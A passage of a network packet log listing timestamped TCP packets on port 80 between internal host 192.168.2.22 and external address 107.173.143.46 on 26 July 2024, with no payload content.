Jul 26, 2024 09:30:09.543971062 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.543987036 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.543997049 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.544003010 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.544015884 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.544022083 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.544039965 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.544075966 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.544147968 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.544164896 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.544198036 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.544215918 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.544219017 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.544231892 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.544244051 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.544250011 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.544272900 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.544287920 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.544311047 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.544326067 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.544343948 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.544357061 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.544384003 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.544394016 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.544400930 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.544420004 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.544423103 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.544446945 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.544461012 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.544478893 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.544490099 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.544496059 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.544524908 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.544540882 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.544548035 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.544558048 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.544574022 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.544579983 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.544590950 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.544598103 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.544608116 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.544626951 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.544641018 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.544644117 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.544658899 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.544677019 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.544691086 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.544714928 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.544719934 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.544733047 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.544748068 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.544755936 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.544765949 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.544783115 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.544784069 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.544800997 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.544801950 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.544822931 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.544826031 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.544836044 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.544843912 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.544852972 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.544869900 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.544893026 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.544893980 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.544893980 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.544910908 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.544944048 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.544960976 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.544961929 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.544979095 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.544987917 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.544995070 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.545011044 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.545012951 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.545036077 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.545046091 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.618381023 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.618441105 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.618462086 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.618478060 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.618531942 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.618535042 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.618571043 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.618571043 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.618578911 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.618592978 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.618606091 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.618609905 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.618628025 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.618630886 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.618647099 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.618664026 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.618678093 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.618685007 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.618704081 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.618721962 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.618730068 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.618753910 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.618762970 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.618772984 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.618788004 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.618793964 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.618813038 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.618813992 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.618829012 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.618830919 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.618849039 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.618856907 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.618866920 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.618881941 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.618906021 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.618906975 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.618923903 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.618936062 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.618942022 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.618958950 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.618959904 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.618977070 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.618977070 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.618990898 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.618994951 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.619005919 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.619030952 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.619091988 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.619110107 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.619123936 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.619153976 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.619168043 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.619185925 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.619227886 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.619245052 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.619262934 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.619265079 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.619280100 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.619292974 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.619316101 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.619318962 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.619338036 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.619342089 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.619354010 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.619354963 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.619373083 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.619380951 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.619389057 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.619404078 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.619406939 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.619424105 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.619426966 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.619441986 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.619463921 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.619465113 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.619497061 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.619502068 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.619520903 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.619540930 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.619550943 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.619550943 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.619585991 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.619587898 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.619606018 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.619621992 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.619622946 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.619638920 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.619657993 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.619663000 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.619676113 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.619689941 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.619712114 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.619715929 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.619729996 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.619746923 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.619746923 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.619764090 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.619774103 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.619781971 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.619797945 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.619798899 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.619812012 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.619816065 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.619834900 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.619836092 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.619848013 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.619852066 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.619869947 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.619872093 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.619884014 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.619887114 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.619919062 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.619925022 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.619932890 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.619961977 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.626929998 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.626971006 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.626991034 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.627007961 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.627007961 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.627026081 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.627036095 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.627062082 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.627074003 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.627074003 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.627074003 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.627084970 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.627099991 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.627124071 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.627125025 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.627144098 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.627161980 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.627171993 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.627178907 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.627196074 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.627197981 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.627213955 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.627214909 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.627233982 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.627242088 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.627257109 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.627269983 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.627274036 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.627314091 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.627331972 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.627345085 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.627350092 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.627367020 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.627372026 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.627399921 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.627402067 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.627418041 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.627434969 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.627458096 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.627473116 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.627473116 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.627512932 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.627512932 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.627526045 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.627531052 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.627549887 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.627563000 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.627566099 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.627576113 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.627585888 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.627602100 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.627603054 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.627619982 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.627626896 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.627636909 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.627641916 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.627654076 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.627671003 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.627688885 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.627688885 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.627688885 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.627701998 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.627707958 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.627727032 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.627728939 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.627746105 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.627762079 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.627765894 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.627780914 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.627784014 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.627804995 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.627823114 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.627834082 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.627842903 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.627846956 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.627876043 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.627882004 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.627882957 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.627898932 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.627904892 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.627918959 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.627918959 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.627931118 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.627935886 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.627952099 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.627954960 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.627974987 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.627986908 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.627986908 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.628019094 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.628035069 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.706048012 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.706079960 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.706089020 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.706105947 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.706114054 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.706119061 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.706131935 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.706142902 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.706150055 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.706151009 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.706150055 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.706160069 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.706166029 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.706166983 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.706176043 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.706185102 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.706195116 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.706202984 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.706211090 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.706211090 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.706228018 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.706234932 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.706238031 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.706248045 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.706250906 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.706255913 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.706265926 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.706279993 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.706283092 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.706299067 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.706310987 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.706351042 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.706357002 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.706357002 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.706357002 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.706363916 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.706371069 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.706377983 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.706387997 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.706389904 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.706397057 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.706410885 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.706437111 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.706437111 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.706478119 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.706485033 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.706490993 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.706496954 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.706525087 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.706531048 CEST	80	49167	107.173.143.46	192.168.2.22
